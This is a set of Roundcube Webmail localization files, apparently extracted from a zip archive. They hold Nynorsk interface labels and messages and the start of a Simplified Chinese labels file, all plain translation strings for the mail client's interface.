$labels['compact'] = 'Kompakt';
$labels['empty'] = 'Tom';
$labels['quota'] = 'Plassbruk';
$labels['unknown'] = 'ukjend';
$labels['unlimited'] = 'ubegrensa';
$labels['quicksearch'] = 'Snøggsøk';
$labels['resetsearch'] = 'Tilbakestill søk';
$labels['searchmod'] = 'Søkeutsagn';
$labels['msgtext'] = 'Heile eposten';
$labels['body'] = 'Meldingstekst';
$labels['openinextwin'] = 'Opna i nytt vindauga';
$labels['emlsave'] = 'Last ned (.eml)';
$labels['editasnew'] = 'Rediger som ny';
$labels['send'] = 'Send';
$labels['sendmessage'] = 'Send meldinga no';
$labels['savemessage'] = 'Lagra kladd';
$labels['addattachment'] = 'Legg ved ei fil';
$labels['charset'] = 'Teiknkoding';
$labels['editortype'] = 'Redigeringstype';
$labels['returnreceipt'] = 'Epost-er-lest-kvittering';
$labels['dsn'] = 'Leveringsstatus';
$labels['mailreplyintro'] = 'Den $date skreiv $sender:';
$labels['originalmessage'] = 'Opphavleg melding';
$labels['insert'] = 'Sett inn';
$labels['recipient'] = 'Mottakar';
$labels['editidents'] = 'Redigere identitetar';
$labels['spellcheck'] = 'Stavekontroll';
$labels['checkspelling'] = 'Stavekontroll';
$labels['resumeediting'] = 'Hald fram redigering';
$labels['revertto'] = 'Tilbakestill til';
$labels['attach'] = 'Legg ved';
$labels['attachments'] = 'Vedlegg';
$labels['upload'] = 'Last opp';
$labels['close'] = 'Steng';
$labels['messageoptions'] = 'Meldingsalternativ';
$labels['low'] = 'Låg';
$labels['lowest'] = 'Lågast';
$labels['normal'] = 'Normal';
$labels['high'] = 'Høg';
$labels['highest'] = 'Høgast';
$labels['nosubject'] = '(ingen emne)';
$labels['showimages'] = 'Vis bilete';
$labels['alwaysshow'] = 'Alltid vis bilete frå $sender';
$labels['isdraft'] = 'Dette er ein kladd.';
$labels['andnmore'] = '$nr fleire …';
$labels['togglemoreheaders'] = 'Vis fleire meldingshovud';
$labels['togglefullheaders'] = 'Veksle vising av meldinga sine headere i råformat';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Vanleg tekst';
$labels['savesentmessagein'] = 'Lagra sendt epost i';
$labels['dontsave'] = 'Ikkje lagra';
$labels['maxuploadsize'] = 'Maksimalt tillatte storleik på filar er $size';
$labels['addcc'] = 'Legg til kopi';
$labels['addbcc'] = 'Legg til blindkopi';
$labels['addreplyto'] = 'Legg til svaradressa';
$labels['addfollowupto'] = 'Legg til oppfylgjing';
$labels['mdnrequest'] = 'Sendaren av denne meldinga ynskjer å få kvittering når du har lest meldinga. Ynskjer du å senda denne kvitteringa?';
$labels['receiptread'] = 'Svarkvittering (eposten-er-lest-kvittering)';
$labels['yourmessage'] = 'Dette er ein retur-kvittering for meldinga di.';
$labels['receiptnote'] = 'Hugs: Denne kvitteringa seier berre at meldinga di vart vist på mottakar sin datamaskin. Det er ingen garanti for at mottakaren faktisk har lese eller forstått innhaldet i meldinga.';
$labels['name'] = 'Visingsnamn';
$labels['firstname'] = 'Førenamn';
$labels['surname'] = 'Etternamn';
$labels['middlename'] = 'Mellomnamn';
$labels['nameprefix'] = 'Prefiks';
$labels['namesuffix'] = 'Suffiks';
$labels['nickname'] = 'Kallenamn';
$labels['jobtitle'] = 'Jobbtittel';
$labels['department'] = 'Avdeling';
$labels['gender'] = 'Kjønn';
$labels['maidenname'] = 'Pikenamn';
$labels['email'] = 'E-post';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Adresse';
$labels['street'] = 'Gate';
$labels['locality'] = 'By';
$labels['zipcode'] = 'Postnummer';
$labels['region'] = 'Stat/provins';
$labels['country'] = 'Land';
$labels['birthday'] = 'Fødselsdag';
$labels['anniversary'] = 'Bryllaupsdag';
$labels['website'] = 'Internettside';
$labels['instantmessenger'] = 'Lynmelding';
$labels['notes'] = 'Notatar';
$labels['male'] = 'Mann';
$labels['female'] = 'Kvinne';
$labels['manager'] = 'Leiar';
$labels['assistant'] = 'Assistent';
$labels['spouse'] = 'Ektefelle';
$labels['allfields'] = 'Alle felt';
$labels['search'] = 'Søk';
$labels['advsearch'] = 'Avansert søk';
$labels['advanced'] = 'Avansert';
$labels['other'] = 'Andre';
$labels['typehome'] = 'Heim';
$labels['typework'] = 'Jobb';
$labels['typeother'] = 'Andre';
$labels['typemobile'] = 'Mobil';
$labels['typemain'] = 'Hovud';
$labels['typehomefax'] = 'Heimefax';
$labels['typeworkfax'] = 'Jobbfax';
$labels['typecar'] = 'Bil';
$labels['typepager'] = 'Personsøkjar';
$labels['typevideo'] = 'VIdeo';
$labels['typeassistant'] = 'Assistent';
$labels['typehomepage'] = 'Heimeside';
$labels['typeblog'] = 'Blogg';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Legg til felt...';
$labels['editcontact'] = 'Redigere kontakt';
$labels['contacts'] = 'Kontakter';
$labels['contactproperties'] = 'Eigenskapar';
$labels['personalinfo'] = 'Personleg informasjon';
$labels['edit'] = 'Redigere';
$labels['cancel'] = 'Avbryt';
$labels['save'] = 'Lagre';
$labels['delete'] = 'Slette';
$labels['rename'] = 'Gi nytt namn';
$labels['addphoto'] = 'Legg til';
$labels['replacephoto'] = 'Erstatt';
$labels['uploadphoto'] = 'Last opp bilete';
$labels['deletecontact'] = 'Slett valde kontaktar';
$labels['composeto'] = 'Ny melding til';
$labels['contactsfromto'] = 'Kontaktar $from til $to av $count';
$labels['print'] = 'Skriv ut';
$labels['export'] = 'Eksport';
$labels['exportall'] = 'Eksporter alle';
$labels['exportsel'] = 'Eksporter valde';
$labels['exportvcards'] = 'Eksporter kontaktar i vCard-format';
$labels['grouprename'] = 'Endre namn på gruppe';
$labels['groupdelete'] = 'Slett gruppe';
$labels['groupremoveselected'] = 'Fjern valde kontaktar frå gruppe';
$labels['previouspage'] = 'Førre side';
$labels['firstpage'] = 'Første side';
$labels['nextpage'] = 'Neste side';
$labels['lastpage'] = 'Siste side';
$labels['group'] = 'Gruppe';
$labels['groups'] = 'Gruppar';
$labels['personaladrbook'] = 'Personlege adresser';
$labels['searchsave'] = 'Lagre søk';
$labels['searchdelete'] = 'Slett søk';
$labels['import'] = 'Importer';
$labels['importcontacts'] = 'Importer kontaktar';
$labels['importreplace'] = 'Byt ut heile adresseboka';
$labels['done'] = 'Ferdig';
$labels['settingsfor'] = 'Innstillingar for';
$labels['about'] = 'Om';
$labels['preferences'] = 'Innstillingar';
$labels['userpreferences'] = 'Brukarinnstillingar';
$labels['editpreferences'] = 'Redigere brukarinnstillingar';
$labels['identities'] = 'Identitetar';
$labels['preferhtml'] = 'Føretrekk HTML';
$labels['defaultcharset'] = 'Standard karaktersett (charset)';
$labels['htmlmessage'] = 'HTML-melding';
$labels['messagepart'] = 'Del';
$labels['digitalsig'] = 'Digital signatur';
$labels['dateformat'] = 'Datoformat';
$labels['timeformat'] = 'Tidsformat';
$labels['prettydate'] = 'Pene datoar';
$labels['setdefault'] = 'Set som standard';
$labels['autodetect'] = 'Automatisk';
$labels['language'] = 'Språk';
$labels['timezone'] = 'Tidssone';
$labels['pagesize'] = 'Rader pr side';
$labels['signature'] = 'Signartur';
$labels['dstactive'] = 'Sumartid';
$labels['showinextwin'] = 'Opna melding i nytt vindauge';
$labels['composeextwin'] = 'Skriv i nytt vindauge';
$labels['htmleditor'] = 'Lag HTML-meldingar';
$labels['htmlonreply'] = 'ved svar på HTML-melding';
$labels['htmlonreplyandforward'] = 'ved vidaresending av eller svar på HTML-melding';
$labels['htmlsignature'] = 'HTML-signatur';
$labels['previewpane'] = 'Vis førehandsvisningsboks';
$labels['skin'] = 'Bunad';
$labels['logoutclear'] = 'Fjern alt i «sletta element» ved utlogging';
$labels['logoutcompact'] = 'Samanpress innboks ved utlogging';
$labels['uisettings'] = 'Brukargrensesnitt';
$labels['serversettings'] = 'Tenarinstillingar';
$labels['mailboxview'] = 'Epostboksvisning';
$labels['mdnrequests'] = 'Sender-notifisering';
$labels['askuser'] = 'spør brukaren';
$labels['autosend'] = 'send automatisk';
$labels['autosendknown'] = 'send kvittering til kontaktane mine, ellers spør meg';
$labels['autosendknownignore'] = 'send kvittering til kontaktane mine, ellers oversjå';
$labels['readwhendeleted'] = 'Marker melding som lese ved sletting';
$labels['flagfordeletion'] = 'Flagg meldinga for sletting i staden for å sletta';
$labels['skipdeleted'] = 'Ikkje vis sletta epostar';
$labels['deletealways'] = 'Slett epostar som ikkje kan flyttast til søppelkorga';
$labels['deletejunk'] = 'Slett meldingar i spam direkte';
$labels['showremoteimages'] = 'Vis eksterne bilete';
$labels['fromknownsenders'] = 'frå kjende sendarar';
$labels['always'] = 'alltid';
$labels['showinlineimages'] = 'Vis vedlagte bilete under meldinga';
$labels['autosavedraft'] = 'Lagra kladd automatisk';
$labels['everynminutes'] = 'kvart $n minutt';
$labels['refreshinterval'] = 'Oppdater (sjekk for nye meldingar osv.)';
$labels['never'] = 'aldri';
$labels['immediately'] = 'med ein gong';
$labels['messagesdisplaying'] = 'Meldingar som viser';
$labels['messagescomposition'] = 'Meldingar sin komposisjon';
$labels['mimeparamfolding'] = 'Vedleggsnamn';
$labels['2231folding'] = 'Full RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (other)';
$labels['force7bit'] = 'Bruk MIME-enkoding for 8-bit characterer (æøå og slik)';
$labels['advancedoptions'] = 'Avanserte val';
$labels['focusonnewmessage'] = 'Fokuser nettlesarvindauge på ny epost';
$labels['checkallfolders'] = 'Sjekk alle mappar for nye epostar';
$labels['defaultfont'] = 'Standard skrifttype i HTML-melding';
$labels['mainoptions'] = 'Hovudinnstillingar';
$labels['browseroptions'] = 'Alternativ for nettlesar';
$labels['section'] = 'Seksjon';
$labels['maintenance'] = 'Vedlikehald';
$labels['newmessage'] = 'Ny epost';
$labels['signatureoptions'] = 'Signatur-innstillingar';
$labels['whenreplying'] = 'Når du svarar';
$labels['replyempty'] = 'Ikkje siter den opphavlege meldinga';
$labels['replytopposting'] = 'start ny epost oppante originalen';
$labels['replybottomposting'] = 'start ny epost nedanfor originalen';
$labels['replyremovesignature'] = 'Fjern den original signatur frå eposten når du svarar';
$labels['autoaddsignature'] = 'Legg signatur til automatisk';
$labels['newmessageonly'] = 'berre på nye epostar';
$labels['replyandforwardonly'] = 'berre på svar og vidaresending';
$labels['insertsignature'] = 'Sett inn signatur';
$labels['afternseconds'] = 'etter $n sekund';
$labels['reqmdn'] = 'Alltid be om svarkvittering';
$labels['reqdsn'] = 'Alltid be om leveringsstatus';
$labels['replysamefolder'] = 'Legg svar i mappa til meldinga det vert svara på';
$labels['defaultabook'] = 'Standard adressebok';
$labels['autocompletesingle'] = 'Hopp over alternative e-postadresser i autofullføring';
$labels['listnamedisplay'] = 'Vis kontaktar som';
$labels['spellcheckbeforesend'] = 'Kontroller staving før ei melding sendast';
$labels['spellcheckoptions'] = 'Alternativ for stavekontroll';
$labels['spellcheckignoresyms'] = 'Ignorer ord med symbol';
$labels['spellcheckignorenums'] = 'Ignorer ord med tal';
$labels['spellcheckignorecaps'] = 'Ignorer ord med berre store bokstavar';
$labels['addtodict'] = 'Legg til i ordliste';
$labels['mailtoprotohandler'] = 'Registrer protokollhandsaming for mailto-lenkjer';
$labels['forwardmode'] = 'Meldingar vidaresendast';
$labels['inline'] = 'i teksten';
$labels['asattachment'] = 'som vedlegg';
$labels['allmessages'] = 'alle meldingar';
$labels['folder'] = 'Mappe';
$labels['folders'] = 'Mapper';
$labels['foldername'] = 'Mappenamn';
$labels['subscribed'] = 'Abonnert';
$labels['messagecount'] = 'Meldingar';
$labels['create'] = 'Opprette';
$labels['createfolder'] = 'Opprett ny mappe';
$labels['managefolders'] = 'Mappehandsaming';
$labels['specialfolders'] = 'Spesialmapper';
$labels['properties'] = 'Eigenskapar';
$labels['folderproperties'] = 'Eigenskapar for mappe';
$labels['parentfolder'] = 'Mappa over';
$labels['location'] = 'Stad';
$labels['info'] = 'Informasjon';
$labels['getfoldersize'] = 'Klikk for å få mappestørrelse';
$labels['changesubscription'] = 'Klikk for å endre abonnement';
$labels['foldertype'] = 'Mappetype';
$labels['personalfolder'] = 'Privat mappe';
$labels['otherfolder'] = 'Annan brukar si mappe';
$labels['sharedfolder'] = 'Offentleg mappe';
$labels['sortby'] = 'Sorter etter';
$labels['sortasc'] = 'Sorter stigande';
$labels['sortdesc'] = 'Sorter søkkjande';
$labels['undo'] = 'Gjer om';
$labels['installedplugins'] = 'Installerte tillegg';
$labels['plugin'] = 'Tilleggsmodul';
$labels['version'] = 'Versjon';
$labels['source'] = 'Kjelde';
$labels['license'] = 'Lisens';
$labels['support'] = 'Få hjelp';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'UNicode';
$labels['english'] = 'Engelsk';
$labels['westerneuropean'] = 'Vest-europesik';
$labels['easterneuropean'] = 'Aust-europesik';
$labels['southeasterneuropean'] = 'Sør-aust-europeisk';
$labels['baltic'] = 'Baltisk';
$labels['cyrillic'] = 'Kyrilisk';
$labels['arabic'] = 'Arabisk';
$labels['greek'] = 'Gresk';
$labels['hebrew'] = 'Hebraisk';
$labels['turkish'] = 'Tyrkisk';
$labels['nordic'] = 'Nordisk';
$labels['thai'] = 'Thai';
$labels['celtic'] = 'Keltisk';
$labels['vietnamese'] = 'Vietnamesisk';
$labels['japanese'] = 'Japansk';
$labels['korean'] = 'Koreansk';
$labels['chinese'] = 'Kinesisk';
PK
h�\"�-%-%'program/localization/nn_NO/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Noko gjekk feil.';
$messages['loginfailed']  = 'Feil ved innlogging.';
$messages['cookiesdisabled'] = 'Nettlesaren din tillet ikkje informasjonskapslar (cookies).';
$messages['sessionerror'] = 'Økta di er ugyldig eller har gått ut på tid.';
$messages['storageerror'] = 'Tilkoplinga til lagringstenaren vart mislukka.';
$messages['servererror'] = 'Tenarfeil.';
$messages['servererrormsg'] = 'Tenarfeil: $msg';
$messages['dberror'] = 'Databasefeil!';
$messages['requesttimedout'] = 'Førespurnaden fekk tidsavbrot';
$messages['errorreadonly'] = 'Klarte ikkje utføra handlinga. Mappa kan berre lesast.';
$messages['errornoperm'] = 'Klarte ikkje utføra handlinga. Nekta tilgang.';
$messages['invalidrequest'] = 'Eg forstår ingen ting! Ingen data lagra.';
$messages['invalidhost'] = 'Ugyldig tenarnamn.';
$messages['nomessagesfound'] = 'Ingen meldingar i denne postkassa.';
$messages['refreshing'] = 'Oppdaterer …';
$messages['loading'] = 'Hentar …';
$messages['uploading'] = 'Lastar opp fil …';
$messages['uploadingmany'] = 'Lastar opp filer …';
$messages['loadingdata'] = 'Hentar data …';
$messages['checkingmail'] = 'Ser etter nye meldingar …';
$messages['sendingmessage'] = 'Sender melding …';
$messages['messagesent'] = 'Meldinga vart sendt.';
$messages['savingmessage'] = 'Lagrar melding …';
$messages['messagesaved'] = 'Melding lagra som kladd.';
$messages['successfullysaved'] = 'Meldinga vart lagra.';
$messages['addedsuccessfully'] = 'Kontakta vart lagt til i adresseboka.';
$messages['contactnameexists'] = 'Det finst allereie en kontakt med dette namnet.';
$messages['blockedimages'] = 'Av omsyn til personvernet ditt er eksterne bilete blokkerte i denne meldinga.';
$messages['encryptedmessage'] = 'Dette er ei kryptert melding og kan ikkje visast. Orsak!';
$messages['nocontactsfound'] = 'Fann ingen kontaktar.';
$messages['contactnotfound'] = 'Fann ikkje kontakten du såg etter.';
$messages['sendingfailed'] = 'Klarte ikkje senda meldinga.';
$messages['senttooquickly'] = 'Du må venta $sec sekund for å senda meldinga.';
$messages['errormoving'] = 'Klarte ikkje flytte meldinga(r).';
$messages['errorcopying'] = 'Klarte ikkje kopiera meldinga(r).';
$messages['errordeleting'] = 'Klarte ikkje sletta meldinga(r).';
$messages['errormarking'] = 'Klarte ikkje markera meldinga(r).';
$messages['deletecontactconfirm']  = 'Sletta kontakt(ar)?';
$messages['deletegroupconfirm']  = 'Vil du sletta den valde gruppa?';
$messages['deletemessagesconfirm'] = 'Sletta melding(ar)?';
$messages['deletefolderconfirm']  = 'Sletta mappa?';
$messages['purgefolderconfirm']  = 'Sletta alle meldingane i denne mappa?';
$messages['contactdeleting'] = 'Slettar kontakt(ar) …';
$messages['groupdeleting'] = 'Slettar gruppe …';
$messages['folderdeleting'] = 'Slettar mappe …';
$messages['foldermoving'] = 'Flyttar mappe …';
$messages['foldersubscribing'] = 'Abonnerer på mappe …';
$messages['folderunsubscribing'] = 'Avsluttar mappeabonnement …';
$messages['formincomplete'] = 'Skjemaet var ikkje fullstendig fylt ut.';
$messages['noemailwarning'] = 'Skriv ei gyldig e-postadresse.';
$messages['nonamewarning']  = 'Skriv eit namn.';
$messages['nopagesizewarning'] = 'Oppgje sidestorleik.';
$messages['norecipientwarning'] = 'Skriv minst ein mottakar.';
$messages['nosubjectwarning']  = 'Emnefeltet er tomt. Vil du skriva eitt emne no?';
$messages['nobodywarning'] = 'Senda meldinga utan tekst?';
$messages['nosearchname'] = 'Skriv kontaktnamn eller epostadresse.';
$messages['notuploadedwarning'] = 'Ikkje alle vedlegga er ferdig opplasta enno. Vent litt til, eller avbryt opplastinga.';
$messages['searchsuccessful'] = 'Fann $nr meldingar.';
$messages['contactsearchsuccessful'] = '$nr kontaktar funne.';
$messages['searchnomatch'] = 'Søket fann ingenting.';
$messages['searching'] = 'Søkjer …';
$messages['checking'] = 'Sjekkar …';
$messages['nospellerrors'] = 'Fann ingen skrivefeil.';
$messages['folderdeleted'] = 'Mappe sletta.';
$messages['foldersubscribed'] = 'Abonnerte på mappa.';
$messages['folderunsubscribed'] = 'Avslutta mappeabonnement.';
$messages['deletedsuccessfully'] = 'Sletta.';
$messages['converting'] = 'Fjernar formatering frå meldinga …';
$messages['messageopenerror'] = 'Klarte ikkje lasta meldinga frå tenaren.';
$messages['fileuploaderror'] = 'Filopplasting feila.';
$messages['filesizeerror'] = 'Fila du lasta opp, er større enn største tillatne filstorleik, $size.';
$messages['sourceisreadonly'] = 'Denne adressekjelda er berre lesbar.';
$messages['errorsavingcontact'] = 'Klarte ikkje lagra kontaktadressa.';
$messages['movingmessage'] = 'Flyttar melding(ar) …';
$messages['copyingmessage'] = 'Kopierer melding(ar) …';
$messages['copyingcontact'] = 'Kopierer kontakt(ar) …';
$messages['deletingmessage'] = 'Slettar melding(ar) …';
$messages['markingmessage'] = 'Merkar melding(ar) …';
$messages['addingmember'] = 'Legg til kontakt(ar) i gruppa …';
$messages['removingmember'] = 'Fjernar kontakt(ar) frå gruppa …';
$messages['receiptsent'] = 'Har sendt lesekvittering.';
$messages['errorsendingreceipt'] = 'Klarte ikkje senda lesekvittering.';
$messages['deleteidentityconfirm'] = 'Vil du sletta denne identiteten?';
$messages['nodeletelastidentity'] = 'Du kan ikkje sletta denne identiteten, det er den siste.';
$messages['forbiddencharacter'] = 'Mappenamn inneheld eit teikn som ikkje er tillate.';
$messages['selectimportfile'] = 'Vel ei fil til å lasta opp.';
$messages['addresswriterror'] = 'Denne adresseboka kan ikkje skrivast til.';
$messages['contactaddedtogroup'] = 'La kontaktane til denne gruppa.';
$messages['contactremovedfromgroup'] = 'Tok vekk kontaktane frå denne gruppa.';
$messages['nogroupassignmentschanged'] = 'Endra ikkje gruppetilordningane.';
$messages['importwait'] = 'Importerer, vent …';
$messages['importformaterror'] = 'Importering feila. Den opplasta fila er i feil format.';
$messages['importconfirm'] = '<b>Importerte $inserted kontaktar</b>';
$messages['importconfirmskipped'] = '<b>Hoppa over $skipped oppføringar som fanst frå før</b>';
$messages['opnotpermitted'] = 'Ulovleg operasjon.';
$messages['httpreceivedencrypterror'] = 'En uopprettelig feil oppstod knytta til innstillingane. Kontakt systemansvarleg umiddelbart. <b>Meldinga kunne ikkje sendast.</b>';
$messages['smtpconnerror'] = 'SMTP-feil ($code): Tilkopling til tenar feila.';
$messages['smtpautherror'] = 'SMTP-feil ($code): Autentisering feila.';
$messages['smtpfromerror'] = 'SMTP-feil ($code): Klarte ikkje å angje sendar «$from» ($msg).';
$messages['smtptoerror'] = 'SMTP-feil ($code): Klarte ikkje å leggja til mottakar «$to» ($msg).';
$messages['smtprecipientserror'] = 'SMTP-feil: Klarte ikkje tolka mottakarlista.';
$messages['smtperror'] = 'SMTP-feil: $msg';
$messages['toomanyrecipients'] = 'For mange mottakarar. Senk talet til $max.';
$messages['maxgroupmembersreached'] = 'Ei gruppe kan ikkje ha fleire enn $max medlemmer.';
$messages['contactdelerror'] = 'Klarte ikkje sletta kontakt(ar).';
$messages['contactdeleted'] = 'Kontakt(ar) sletta utan feil.';
$messages['contactrestoreerror'] = 'Klarte ikkje gjenoppretta kontakt(ar).';
$messages['contactrestored'] = 'Kontakt(ar) gjennomretta utan feil.';
$messages['groupdeleted'] = 'Gruppa er sletta.';
$messages['grouprenamed'] = 'Gruppa har bytta namn.';
$messages['groupcreated'] = 'Gruppa er oppretta.';
$messages['savedsearchdeleted'] = 'Lagra søk er sletta.';
$messages['savedsearchdeleteerror'] = 'Klarte ikkje sletta lagra søk.';
$messages['savedsearchcreated'] = 'Oppretta lagra søk.';
$messages['savedsearchcreateerror'] = 'Klarte ikkje laga lagra søk.';
$messages['messagedeleted'] = 'Melding(ar) vart sletta.';
$messages['messagemoved'] = 'Melding(ar) vart flytta.';
$messages['messagecopied'] = 'Melding(ar) vart kopiert.';
$messages['messagemarked'] = 'Melding(ar) vart merka.';
$messages['autocompletechars'] = 'Skriv minst $min teikn for autofullføring.';
$messages['autocompletemore'] = 'Flere like oppføringar vart funne. Skriv fleire tegn.';
$messages['namecannotbeempty'] = 'Namn kan ikkje vera tomt.';
$messages['nametoolong'] = 'Namnet er for langt.';
$messages['folderupdated'] = 'Mappa er oppdatert.';
$messages['foldercreated'] = 'Mappa er oppretta.';
$messages['invalidimageformat'] = 'Ikke et gyldig bileteformat.';
$messages['mispellingsfound'] = 'Fann stavefeil i meldinga.';
$messages['parentnotwritable'] = 'Klarte ikkje laga/flytte mappa i vald overordna mappe. Ingen tilgangsrettar.';
$messages['messagetoobig'] = 'Meldingsdelen er for stor til å prosesserast.';
$messages['noscriptwarning'] = 'NB: Denne webmail-klienten krev JavaScript. Skru på JavaScript i nettlesaren din for å kunna bruka klienten.';
PK
h�\�0��q�q%program/localization/zh_CN/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = '欢迎使用 $product';
$labels['username'] = '用户名';
$labels['password'] = '密码';
$labels['server'] = '服务器';
$labels['login'] = '登录';
$labels['menu'] = '菜单';
$labels['logout'] = '注销';
$labels['mail'] = '邮件';
$labels['settings'] = '设置';
$labels['addressbook'] = '通讯录';
$labels['inbox'] = '收件箱';
$labels['drafts'] = '草稿箱';
$labels['sent'] = '已发送邮件';
$labels['trash'] = '已删除邮件';
$labels['junk'] = '垃圾邮件';
$labels['show_real_foldernames'] = '显示特殊文件夹的名字';
$labels['subject'] = '主题';
$labels['from'] = '发件人';
$labels['sender'] = '发件人';
$labels['to'] = '收件人';
$labels['cc'] = '抄送';
$labels['bcc'] = '密送';
$labels['replyto'] = '回复至';
$labels['followupto'] = '投递组';
$labels['date'] = '日期';
$labels['size'] = '大小';
$labels['priority'] = '优先级';
$labels['organization'] = '组织';
$labels['readstatus'] = '阅读状态';
$labels['listoptions'] = '列表选项';
$labels['listoptionstitle'] = '列表选项';
$labels['mailboxlist'] = '邮件夹';
$labels['messagesfromto'] = '从 $from 到 $to,共计 $count 封邮件';
$labels['threadsfromto'] = '从 $from 到 $to,共计 $count 个主题';
$labels['messagenrof'] = '第 $nr 封邮件,共计 $count 封';
$labels['fromtoshort'] = '$from – $to 共计 $count 个';
$labels['copy'] = '复制';
$labels['move'] = '移动';
$labels['moveto'] = '移至...';
$labels['copyto'] = '复制至';
$labels['download'] = '下载';
$labels['open'] = '打开';
$labels['showattachment'] = '显示';
$labels['showanyway'] = '总是显示';
$labels['filename'] = '文件名';
$labels['filesize'] = '文件大小';
$labels['addtoaddressbook'] = '添加至通讯录';
$labels['sun'] = '星期日';
$labels['mon'] = '星期一';
$labels['tue'] = '星期二';
$labels['wed'] = '星期三';
$labels['thu'] = '星期四';
$labels['fri'] = '星期五';
$labels['sat'] = '星期六';
$labels['sunday'] = '星期日';
$labels['monday'] = '星期一';
$labels['tuesday'] = '星期二';
$labels['wednesday'] = '星期三';
$labels['thursday'] = '星期四';
$labels['friday'] = '星期五';
$labels['saturday'] = '星期六';
$labels['jan'] = '一月';
$labels['feb'] = '二月';
$labels['mar'] = '三月';
$labels['apr'] = '四月';
$labels['may'] = '五月';
$labels['jun'] = '六月';
$labels['jul'] = '七月';
$labels['aug'] = '八月';
$labels['sep'] = '九月';
$labels['oct'] = '十月';
$labels['nov'] = '十一月';
$labels['dec'] = '十二月';
$labels['longjan'] = '一月';
$labels['longfeb'] = '二月';
$labels['longmar'] = '三月';
$labels['longapr'] = '四月';
$labels['longmay'] = '五月';
$labels['longjun'] = '六月';
$labels['longjul'] = '七月';
$labels['longaug'] = '八月';
$labels['longsep'] = '九月';
$labels['longoct'] = '十月';
$labels['longnov'] = '十一月';
$labels['longdec'] = '十二月';
$labels['today'] = '今天';
$labels['refresh'] = '刷新';
$labels['checkmail'] = '检查新邮件';
$labels['compose'] = '撰写新邮件';
$labels['writenewmessage'] = '写邮件';
$labels['reply'] = '回复';
$labels['replytomessage'] = '回复发件人';
$labels['replytoallmessage'] = '回复所有';
$labels['replyall'] = '回复全部';
$labels['replylist'] = '回复列表';
$labels['forward'] = '转发';
$labels['forwardinline'] = '直接转发';
$labels['forwardattachment'] = '以附件转发';
$labels['forwardmessage'] = '转发邮件';
$labels['bouncemsg'] = '重发 (回弹)';
$labels['bounce'] = '重发';
$labels['deletemessage'] = '删除邮件';
$labels['movemessagetotrash'] = '移至已删除邮件';
$labels['printmessage'] = '打印邮件';
$labels['previousmessage'] = '显示上一封邮件';
$labels['firstmessage'] = '显示第一封邮件';
$labels['nextmessage'] = '下一封';
$labels['lastmessage'] = '最后一封';
$labels['backtolist'] = '返回邮件列表';
$labels['viewsource'] = '显示来源';
$labels['mark'] = '标记为';
$labels['markmessages'] = '标记选中的邮件为';
$labels['markread'] = '已读';
$labels['markunread'] = '未读';
$labels['markflagged'] = '重要';
$labels['markunflagged'] = ' 不重要';
$labels['moreactions'] = '更多操作...';
$labels['markallread'] = '全部标为已读';
$labels['folders-cur'] = '仅选定的文件夹';
$labels['folders-sub'] = '选定的文件夹及其子文件夹';
$labels['folders-all'] = '所有文件夹';
$labels['more'] = '更多';
$labels['back'] = '返回';
$labels['options'] = '个人选项';
$labels['composeoptions'] = '撰写选项';
$labels['optionsandattachments'] = '选项和附件';
$labels['actions'] = '动作';
$labels['first'] = '首';
$labels['last'] = '尾';
$labels['previous'] = '前一';
$labels['next'] = '后一';
$labels['select'] = '选择';
$labels['all'] = '全部';
$labels['none'] = '无';
$labels['currpage'] = '当前页';
$labels['isread'] = '读';
$labels['unread'] = '未读邮件';
$labels['flagged'] = '已标记邮件';
$labels['unflagged'] = '未标记';
$labels['unanswered'] = '未回复邮件';
$labels['withattachment'] = '包含附件';
$labels['deleted'] = '已删除邮件';
$labels['undeleted'] = '未删除邮件';
$labels['replied'] = '已回复';
$labels['forwarded'] = '已转发';
$labels['invert'] = '反选';
$labels['filter'] = '过滤';
$labels['list'] = '列表';
$labels['threads'] = '主题';
$labels['expand-all'] = '展开全部';
$labels['expand-unread'] = '展开未读';
$labels['collapse-all'] = '收起全部';
$labels['threaded'] = '所有邮件';
$labels['autoexpand_threads'] = '展开消息主题';
$labels['do_expand'] = '所有主题';
$labels['expand_only_unread'] = '仅未读消息';
$labels['fromto'] = '发件人/收件人';
$labels['flag'] = '标志';
$labels['attachment'] = '附件';
$labels['nonesort'] = '无';
$labels['sentdate'] = '发送日期';
$labels['arrival'] = '到达日期';
$labels['asc'] = '升序';
$labels['desc'] = '降序';
$labels['listcolumns'] = '列表列';
$labels['listsorting'] = '排序列';
$labels['listorder'] = '排序';
$labels['listmode'] = '列表视图样式';
$labels['lmode'] = '列表模式';
$labels['layout'] = '布局';
$labels['layoutwidescreen'] = '宽屏';
$labels['layoutdesktop'] = '桌面';
$labels['layoutlist'] = '列表';
$labels['layoutwidescreendesc'] = '宽屏 (3栏)';
$labels['layoutdesktopdesc'] = '桌面 (很宽的列表,邮件预览在下方)';
$labels['layoutlistdesc'] = '纯列表 (无邮件预览)';
$labels['folderactions'] = '文件夹操作...';
$labels['compact'] = '压缩';
$labels['empty'] = '清空';
$labels['importmessages'] = '导入邮件';
$labels['quota'] = '邮箱容量';
$labels['unknown'] = '未知';
$labels['unlimited'] = '无限制';
$labels['quotatype'] = '容量类型';
$labels['quotatotal'] = '限额';
$labels['quotaused'] = '已用';
$labels['quotastorage'] = '存储空间';
$labels['quotamessage'] = '邮件数统计';
$labels['shortheaderdate'] = '在 $date';
